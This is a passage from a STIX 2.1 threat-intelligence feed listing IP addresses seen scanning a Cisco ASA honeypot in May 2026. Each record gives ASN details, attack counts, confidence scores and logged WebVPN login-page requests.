      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.82.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:20:10.000Z",
      "valid_until": "2026-07-01T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T21:33:42.044Z",
          "last_seen": "2026-05-30T11:33:44.793Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7837552e-0b7d-4de7-8566-37d11858654f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '213.139.192.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:20:10.000Z",
      "valid_until": "2026-07-01T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T12:00:25.307Z",
          "last_seen": "2026-05-30T12:00:38.363Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--e1efbced-fd9a-4582-87ef-f2f5555ddbf3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.84.100.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:20:10.000Z",
      "valid_until": "2026-07-01T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-30T11:46:32.927Z",
          "last_seen": "2026-05-30T11:46:36.225Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--ad56809d-313e-4663-9b3c-bd2c2bc18c4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.171.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:20:10.000Z",
      "valid_until": "2026-07-01T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T12:46:20.286Z",
          "last_seen": "2026-05-30T12:46:38.517Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--764d3482-429f-4837-a817-e8ff9a4eb5cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.115.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:20:10.000Z",
      "valid_until": "2026-07-01T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T13:04:51.684Z",
          "last_seen": "2026-05-30T13:05:03.582Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--7ff36f3d-d60a-4810-9bc0-2d2ab86a47ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.169.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:20:10.000Z",
      "valid_until": "2026-07-01T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T12:27:05.697Z",
          "last_seen": "2026-05-30T12:27:22.450Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--7a672e8f-e376-45bc-85be-bc1cf2ee96f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:20:10.000Z",
      "valid_until": "2026-07-01T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-30T12:46:29.493Z",
          "last_seen": "2026-05-30T12:46:48.326Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--0bf25f97-6f2e-4e31-b126-e149d6241096",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.164.164.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T14:46:57.673Z",
          "last_seen": "2026-05-30T14:47:23.797Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--1d50cbdf-07e6-4b65-90d3-a16c1ee92fd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.19.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:07:19.298Z",
          "last_seen": "2026-05-30T15:07:19.298Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--82402725-efc2-4a42-a64e-49c4484411b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.21.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T14:37:12.500Z",
          "last_seen": "2026-05-30T14:37:12.500Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--22980b49-0cb9-4846-8d5a-50d39ad7c376",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.22.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:12:14.227Z",
          "last_seen": "2026-05-30T15:12:14.227Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--accd73bc-4076-4b70-9a62-8848b0b49ede",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.29.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:02:14.572Z",
          "last_seen": "2026-05-30T15:02:14.572Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--bbeb52ec-b214-4c7c-bbc0-bcf84a571216",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.143.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T14:24:48.204Z",
          "last_seen": "2026-05-30T14:25:00.232Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--522b514d-f6a9-4a78-82e7-70cffb3843b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.145.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T21:45:40.173Z",
          "last_seen": "2026-05-30T14:59:22.212Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--9d1926ca-97b9-49c2-ab64-321036fe210c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.94.134.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:17:15.331Z",
          "last_seen": "2026-05-30T15:17:15.331Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--45a5368f-9e62-44e9-8e7a-b8835e727052",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.27.196.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T14:27:01.670Z",
          "last_seen": "2026-05-30T14:27:01.670Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--423aa17b-a84d-4ab7-957f-94497519d052",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.174.66.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T14:37:14.976Z",
          "last_seen": "2026-05-30T14:37:14.976Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--540834ea-3f4b-46fc-8cd6-3197e371dbc2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.174.78.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:07:22.164Z",
          "last_seen": "2026-05-30T15:07:22.164Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--442dd409-efc4-4b8c-9282-3818724209a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '92.53.182.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:07:18.369Z",
          "last_seen": "2026-05-30T15:07:18.369Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--3225f0fd-c416-424f-875f-146d8c62b6d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '95.134.236.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:20:04.000Z",
      "valid_until": "2026-07-01T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T14:22:10.025Z",
          "last_seen": "2026-05-30T14:22:10.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--540da6c0-fd7f-43b2-a673-e3489710e96e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.18.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:37:20.329Z",
          "last_seen": "2026-05-30T15:37:20.329Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--9b90dd78-9ae9-4fcc-ac9b-de0be45bfb20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.20.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
